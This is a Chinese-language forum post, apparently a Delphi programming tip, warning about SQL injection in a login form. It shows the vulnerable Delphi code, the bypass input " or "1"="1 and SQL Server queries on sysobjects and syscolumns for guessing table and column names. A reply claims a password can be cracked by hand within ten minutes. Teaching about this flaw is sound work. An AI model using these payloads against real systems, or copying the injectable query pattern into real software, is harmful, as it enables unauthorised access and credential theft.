首页  编辑  

必须注意的安全漏洞

Tags: /超级猛料/Database.数据库相关/SQL Server/   Date Created:

ZSWang:

// 数据库为 SQL Server

//请说说如下代码的漏洞

procedure TFormLogin.ButtonLoginClick(Sender: TObject);

begin

 QueryLogin.SQL.Text := Format(

'SELECT COUNT(*)'#13#10 +

'FROM 用户信息表'#13#10 +

'WHERE 用户编号 = "%s" AND 用户口令 = "%s"'#13#10,

   [EditUserId.Text, EditPassword.Text]);

 QueryLogin.Open;

 if QueryLogin.Fields[0].AsInteger <= 0 then

   ShowMessage('口令错误')

 else ShowMessage('登录成功');

 QueryLogin.Close;

end;

在用户口令框中输入

" or "1"="1

用户名随便。

变成:

'SELECT COUNT(*)'#13#10 +

'FROM 用户信息表'#13#10 +

'WHERE 用户编号 = "asdfasdf" AND 用户口令 = "" or "1"="1"'

条件永远为真。

对用户资料的表名,一般是靠猜的。

Select * From Sysobjects Where (Xtype='U') and  ((Name like '%User%') or (Name Like '%Operator%'))

只要知道表名,呵呵,试试下面的

Select Syscolumns.Name ColName,Systypes.Name TypeName,Syscolumns.length From Syscolumns

Join Systypes on Syscolumns.xtype=Systypes.xtype

Where Syscolumns.Id=Object_Id('表名')

获取上述信息之后,可能密码信息是加密的啊,那你还要再费一番功夫的。

回复人: zswang(伴水)(现在是专家门诊清洁工) ( ) 信誉:100  2002-7-17 11:06:06  得分:0

to hnsyf: 思路完全正确!在条件里嵌套查询,只要有时间一切都可以搞定

通过sysobjects猜测表名

通过syscolumns猜测字段名

表名、字段名都知道了,要知道用户密码不是很容易

一个用户ID手工十分钟以内可以破译